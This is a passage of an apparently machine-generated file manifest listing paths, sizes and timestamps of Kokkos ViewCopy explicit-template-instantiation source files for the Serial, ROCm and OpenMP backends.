double_LayoutRight_Rank2.cpp","size":2422,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutStride_Rank4.cpp","size":2446,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank2.cpp","size":2470,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank5.cpp","size":2494,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank8.cpp","size":2494,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank3.cpp","size":2494,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutStride_Rank4.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutRight_Rank8.cpp","size":2506,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutRight_Rank2.cpp","size":2458,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutLeft_Rank8.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutStride_Rank8.cpp","size":2502,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutRight_Rank3.cpp","size":2490,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutLeft_Rank4.cpp","size":2470,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank8.cpp","size":2514,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutRight_Rank1.cpp","size":2454,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutRight_Rank4.cpp","size":2490,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutStride_Rank5.cpp","size":2498,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutRight_Rank5.cpp","size":2498,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutRight_Rank4.cpp","size":2494,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutRight_Rank8.cpp","size":2498,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank2.cpp","size":2490,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutLeft_Rank2.cpp","size":2454,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank4.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutRight_Rank2.cpp","size":2470,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutStride_Rank4.cpp","size":2494,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank4.cpp","size":2502,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutRight_Rank5.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutStride_Rank3.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutStride_Rank8.cpp","size":2514,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutStride_Rank2.cpp","size":2470,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutRight_Rank1.cpp","size":2470,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutRight_Rank5.cpp","size":2470,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank4.cpp","size":2490,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutLeft_Rank3.cpp","size":2466,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutRight_Rank3.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank1.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutRight_Rank1.cpp","size":2470,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutRight_Rank8.cpp","size":2498,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutStride_Rank5.cpp","size":2502,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank5.cpp","size":2490,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutStride_Rank1.cpp","size":2466,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutLeft_Rank2.cpp","size":2462,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutStride_Rank2.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank1.cpp","size":2490,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank4.cpp","size":2498,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank5.cpp","size":2502,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutRight_Rank1.cpp","size":2466,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank3.cpp","size":2498,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutRight_Rank2.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutRight_Rank8.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutLeft_Rank1.cpp","size":2458,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutStride_Rank4.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutLeft_Rank8.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank8.cpp","size":2502,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutStride_Rank2.cpp","size":2462,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutLeft_Rank5.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutStride_Rank3.cpp","size":2490,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank8.cpp","size":2506,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutStride_Rank1.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutStride_Rank5.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank3.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutStride_Rank3.cpp","size":2494,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutStride_Rank2.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutRight_Rank4.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank1.cpp","size":2466,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutRight_Rank3.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutRight_Rank8.cpp","size":2510,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutRight_Rank5.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutRight_Rank3.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutLeft_Rank5.cpp","size":2466,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutRight_Rank3.cpp","size":2462,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutStride_Rank3.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutRight_Rank5.cpp","size":2494,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank3.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutRight_Rank1.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutLeft_Rank1.cpp","size":2462,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutRight_Rank2.cpp","size":2466,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutStride_Rank1.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutStride_Rank2.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank4.cpp","size":2494,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank5.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutStride_Rank8.cpp","size":2498,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank4.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutRight_Rank5.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutStride_Rank5.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutStride_Rank5.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank3.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutLeft_Rank5.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank2.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutStride_Rank3.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutStride_Rank8.cpp","size":2502,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutRight_Rank4.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutRight_Rank1.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutStride_Rank4.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutRight_Rank2.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutStride_Rank3.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutStride_Rank5.cpp","size":2490,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutLeft_Rank3.cpp","size":2458,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutLeft_Rank4.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutStride_Rank1.cpp","size":2458,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank4.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutStride_Rank2.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutRight_Rank5.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutStride_Rank1.cpp","size":2470,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank2.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutStride_Rank8.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutLeft_Rank3.cpp","size":2470,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutLeft_Rank1.cpp","size":2450,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutRight_Rank3.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutRight_Rank4.cpp","size":2466,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank5.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank1.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutStride_Rank4.cpp","size":2470,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank2.cpp","size":2470,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutStride_Rank1.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank5.cpp","size":2506,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank8.cpp","size":2518,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutLeft_Rank4.cpp","size":2462,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank1.cpp","size":2466,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutRight_Rank1.cpp","size":2462,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutStride_Rank1.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutLeft_Rank8.cpp","size":2490,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank3.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int_LayoutStride_Rank5.cpp","size":2490,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutRight_Rank2.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutRight_Rank3.cpp","size":2470,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank8.cpp","size":2510,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank2.cpp","size":2494,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutRight_Rank4.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int_LayoutStride_Rank3.cpp","size":2466,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutStride_Rank8.cpp","size":2494,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank2.cpp","size":2482,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutLeft_Rank2.cpp","size":2466,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutStride_Rank4.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank3.cpp","size":2490,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank5.cpp","size":2498,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutRight_Rank8.cpp","size":2494,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank8.cpp","size":2494,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_float_LayoutRight_Rank8.cpp","size":2490,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_int64_t_LayoutRight_Rank2.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutStride_Rank8.cpp","size":2510,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int_double_LayoutRight_Rank4.cpp","size":2478,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank1.cpp","size":2486,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutStride_Rank4.cpp","size":2498,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_double_LayoutStride_Rank2.cpp","size":2490,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/ROCm/Kokkos_Experimental::ROCm_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank1.cpp","size":2474,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutRight_Rank8.cpp","size":2434,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutLeft_Rank2.cpp","size":2406,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank5.cpp","size":2434,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutRight_Rank1.cpp","size":2418,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutStride_Rank1.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank4.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutRight_Rank4.cpp","size":2442,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutStride_Rank2.cpp","size":2430,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutRight_Rank8.cpp","size":2450,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutStride_Rank5.cpp","size":2426,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutStride_Rank5.cpp","size":2442,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutStride_Rank4.cpp","size":2446,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank5.cpp","size":2434,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutRight_Rank5.cpp","size":2438,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutStride_Rank5.cpp","size":2438,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank8.cpp","size":2454,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutLeft_Rank1.cpp","size":2402,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank4.cpp","size":2438,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank5.cpp","size":2446,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank4.cpp","size":2454,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutRight_Rank1.cpp","size":2414,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank1.cpp","size":2418,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank2.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutStride_Rank1.cpp","size":2410,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutStride_Rank1.cpp","size":2426,"last_